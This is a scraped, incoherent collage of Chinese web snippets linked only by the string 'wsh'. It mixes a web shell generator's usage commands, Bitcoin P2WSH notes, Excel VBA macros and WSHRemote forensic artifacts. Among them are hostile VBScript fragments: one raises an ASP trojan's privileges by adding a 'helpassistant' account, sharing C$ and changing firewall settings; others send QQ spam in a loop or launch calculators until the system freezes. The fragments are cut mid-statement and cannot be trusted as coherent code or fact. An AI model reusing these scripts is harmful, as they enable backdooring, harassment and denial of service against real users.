关于WSH WSH是一款功能强大的Web Shell生成器和命令行接口工具。 因此,我们开发出了WSH,我们可以轻松将其嵌入到我们的工作流中,并在命令行终端运行。 WSH的客户端支持命令历史记录和日志记录功能,并且可以跟以前部署的标准Webshell交互。 $ wsh 127.0.0.1:8080/shell.php --header user-agent (向右滑动,查看更多) 白名单设置 $ wsh generate php --no-file $ wsh 127.0.0.1:8080/shell.php --param cmd -H pass-header:S3cr3t (向右滑动,查看更多) 项目地址 WSH:https:// github.com/EatonChips/wsh
许多原始脚本的共识限制,例如10000字节脚本大小,201 nOpCount,仍然适用于P2SH-P2WSH。 P2SH的520字节脚本大小限制不适用于P2SH-P2WSH。 本地Pay-to-Witness-Script-Hash(P2WSH) 原生P2WSH是一个34字节的scriptPubKey。 当使用原生P2WSH时,scriptSig必须为空,见证堆栈格式和签名生成规则与P2SH-P2WSH相同(包括使用压缩公钥的要求)。 示例。 为什么以及如何使用Native(Bech32)P2WPKH和P2WSH? BIP173为本机P2WPKH和P2WSH地址提出校验和base32格式(Bech32)。 原生P2WPKH和P2WSH可用作默认更改地址,但这可能允许其他人轻松识别更改(参见下文)。 在广泛使用原生P2WPKH和P2WSH之前,这些地址类型可能会引起用户之间的隐私问题。
ActiveWorkbook.Close SaveChanges:=True End Sub '方法二:复制工作表为新的工作表,写入数据,再移动工作表另存为新的工作簿 Sub MoveSaveAs() wsh_num = Worksheets.Count Worksheets("模板").Copy After:=Worksheets(wsh_num) with Worksheets(wsh_num + 1) '=====些处写入数据==== end with Worksheets(wsh_num + 1).Move ActiveWorkbook.SaveAs
VBA.UCase$(AppName) If VBA.Right$(AppName, 4) <> ".EXE" Then AppName = AppName & ".EXE" Dim WSH As Object Set WSH = CreateObject("Wscript.Shell") On Error Resume Next GetAppPath = WSH.REGREAD On Error GoTo 0 Set WSH = Nothing End Function
; return true; } else return false; }; var wsh = new ActiveXObject ('WScript.Shell'); if (wsh){ wsh.Run("\""+command); //解决目录包含空格问题 } window.onerror
”) for i=1 to 5 wsh.run “Rasdial /DISCONNECT”,false,1 wsh.run “Rasdial 连接名字 账号 密码”,false,1 oIE.Navigate 而我今天要介绍的技巧是利用一个vbs文件来提升asp木马的权限,代码如下: set wsh=createobject(“wscript.shell”) ‘创建一个wsh对象 a=wsh.run (“cmd.exe =wscript.createobject(“wscript.shell”) wsh3.Run “net user helpassistant 123456”,0,false wsh3.Run “net wsh3.Run “net start Lanmanworkstation /y”,0,false wsh3.Run “net start Lanmanserver /y”,0,false wsh3. Run “net start ipc$”,0,True wsh3.Run “net share c$=c:”,0,false wsh3.Run “netsh firewall set notifications
VBA列出文件夹父子目录及文件名 Sub dir() On Error GoTo 100 Dim wsh As Object, mypath As String, ar, i&, br CreateObject("shell.application").BrowseForFolder(0, "请选择要搜索的文件夹", 0).Items.Item.Path '在此指定目录 Set wsh = CreateObject("wscript.shell") mypath = wsh.exec("cmd /c tree /f " & Chr(34) & mypath & Chr(34) To UBound(ar) br(i + 1, 1) = ar(i) Next Range("a1").Resize(UBound(br)) = br Set wsh
test.exe: start admin.vbs runas /user:administrator test.exe admin.vbs 代码(延时是为了成功传值给 bat 命令,确保成功) dim wsh set wsh=WScript.CreateObject("WScript.Shell") WScript.Sleep 3000 wsh.SendKeys "你的密码" WScript.Sleep 1000 wsh.SendKeys "{enter}" 稍作解释: 先打开一个发送按键的 vbs,延迟 3S 后发送密码,然后延迟 1s 发送回车。
100; @Override public void beforeSheetCreate(WriteWorkbookHolder wbh,WriteSheetHolder wsh ){ SheetWriteHandler.super.beforeSheetCreate(wbh,wsh); } @Override //这里设置单元格为文本格式 public void afterSheetCreate(WriteWorkbookHolder wbh,WriteSheetHolder wsh){ for(int i=0;i<COLUMN;i++){ SXSSFSheet sheet = (SXSSFSheet)wsh.getSheet(); CellStyle cellStyle
ShtNameStr) = 0 Then MsgBox "你选了“取消”,将退出": Exit Sub Set ThisWb = ThisWorkbook With ThisWb If Wsh_Exists .Calculation = xlCalculationManual End If End With End Sub Public Function Wsh_Exists On Error GoTo ErrorHandler sName = ThisWorkbook.Sheets(sWshName).Name If Len(sName) > 0 Then Wsh_Exists = True Exit Function ErrorHandler: Wsh_Exists = False End Function 【效果】 25秒完成汇总
sh In HidShts sh.Visible = xlSheetHidden Next sh End Sub 这是通常使用的代码: Sub ConvertAllValues() Dim wSh As Worksheet For Each wSh In ActiveWorkbook.Worksheets With wSh.UsedRange .Copy .PasteSpecial xlPasteValues End With Next wSh Application.CutCopyMode = False End Sub 还有其他的方法,例如: Sub rangeToValues
使用Wscript Dim wsh As Object Set wsh = CreateObject(“WScript.Network”) Sheet1.Range(“a1”) = wsh.UserName
disAppSet(False) Set thisWb = ThisWorkbook For a = 1 To UBound(brr) '循环条件数组brr wsh_num = Worksheets.Count Worksheets("模板").Copy After:=Worksheets(wsh_num) '复制“模板”文件为新的工作表, and 4=大写身份证=大写身份证,则复制整行数据 .Range("A" & j).EntireRow.Copy thisWb.Worksheets(wsh_num False Next i Application.Calculation = xlCalculationAutomatic With Worksheets(wsh_num Range("H19") .Move End With '移动复制出来的工作表,另存为新的工作簿 ' Worksheets(wsh_num
9bc6f9caddaaab28c2bc0a8bf8531f91109bdd58 87 p2wpkh(bech32) 16 00 14 data(0x14):9bc6f9caddaaab28c2bc0a8bf8531f91109bdd58 p2wsh data> others: anyscript 说明 比特币理论上支持任意格式的script; 最主流的两种支付script为p2pkh,p2sh;隔离见证专用script为p2wpkh,p2wsh ,使用新的叫bech32的编码,bech32已有官方实现:BIP173 隔离见证使用的script为p2wpkh和p2wsh两种,对应经典script的p2pkh和p2sh,但是使用隔离见证script a60499338cdedebfd8cb7c379129cad1be5185d92d0db34717e66c1980a139b8(native p2wpkh) 接收方(使用utxo的一方)必须支持隔离见证,否则无法发送隔离见证交易;发送方可以不支持隔离见证,若不支持,接收方需要提供p2wpkh或p2wsh
其语言类似Visual Basic(VB),VBS是微软的WSH脚本的一种,WSH是是Windows脚本宿主,是一个脚本解释器,支持vbs,js,wsh三种格式的脚本。 编写VBS脚本没有什么特定要求,只要有系统带了WSH环境就可以,从WIN98就开始支持了。
SOFTWARE\Classes\WSHRemote 从取证的角度来看,您需要注意这些工件: 上述注册表工件(远程值 + 类条目) 在用户临时目录中创建的文件 - 如果在 localhost 上启动 %TEMP%\wsh *.tmp %TEMP%\wsh*.tmp.vbs 在目标系统的 Windows 临时目录中创建的文件(如果在远程主机上启动) C:\Windows\Temp\wsh*.tmp C:\Windows\Temp \wsh*.tmp.vbs 存在通过 svchost.exe 生成的进程 wscript.exe: C:\WINDOWS\system32\wscript.exe -嵌入 image.png
/SbScan -h 192.168.0.0/16 -wsh 500 --wsp 500 端口扫描可以写端口号、端口范围或者常用端口类型 . /SbScan -wsh=2048 -wsp=1024 -h=192.168.188.1/24,10.0.0.1/16 -p=22,80,443 跳过主机存活检测(nsh)、POC漏洞探测(nsp)、弱口令爆破
WSH 架构于 ActiveX 之上,通过充当 ActiveX 的 脚本引擎控制器,WSH 为 Windows 用户充分利用威力强大的脚本指令语言扫清了障碍。 WSH也有它的不足之处,任何事物都有两面性,WSH 也不例外。 应该说,WSH 的优点在于它使我们可以充分利用 脚本来实现计算机工作的自动化;但不可否认,也正是它的这一特点,使我们的系统又有了新的安全隐患。 许多 计算机病毒制造者正在热衷于用 脚本语言来编制病毒,并利用 WSH 的支持功能,让这些隐藏着病毒的脚本在网络中广为传播。 借助WSH的这一缺陷,通过JAVASCRIPT,VBSCRIPT,ACTIVEX等网页 脚本语言,就形成了现在的“网页危机”。
它是一种微软环境下的轻量级的解释型语言,它使用COM组件、WMI、WSH、ADSI访问系统中的元素,对系统进行管理。 其语言类似Visual Basic(VB),VBS是微软的WSH脚本的一种,WSH是是Windows脚本宿主,是一个脚本解释器,支持vbs,js,wsh三种格式的脚本。 编写VBS脚本没有什么特定要求,只要有系统带了WSH环境就可以,从WIN98就开始支持了。 On Error Resume Next Dim wsh,ye set wsh=createobject("wscript.shell") for i=1 to 10 wscript.sleep 700 wsh.AppActivate("小敏") wsh.sendKeys "^v" wsh.sendKeys i wsh.sendKeys "%s" next wscript.quit
xx.vbs=> =————————————————————————— On Error Resume Next Dim wsh,ye set wsh=createobject(“wscript.shell ”) for i=1 to 10 wscript.sleep 700 wsh.AppActivate(“与 xx 聊天中”) wsh.sendKeys “^v” wsh.sendKeys i wsh.sendKeys “%s” next wscript.quit ---- QQ骚扰信息,也可以用在其它程序上。 loop ---- 三、打开无数个计算器,直到死机 set wsh=createobject(“wscript.shell”) do wsh.run “calc” loop 四、直接关机 dim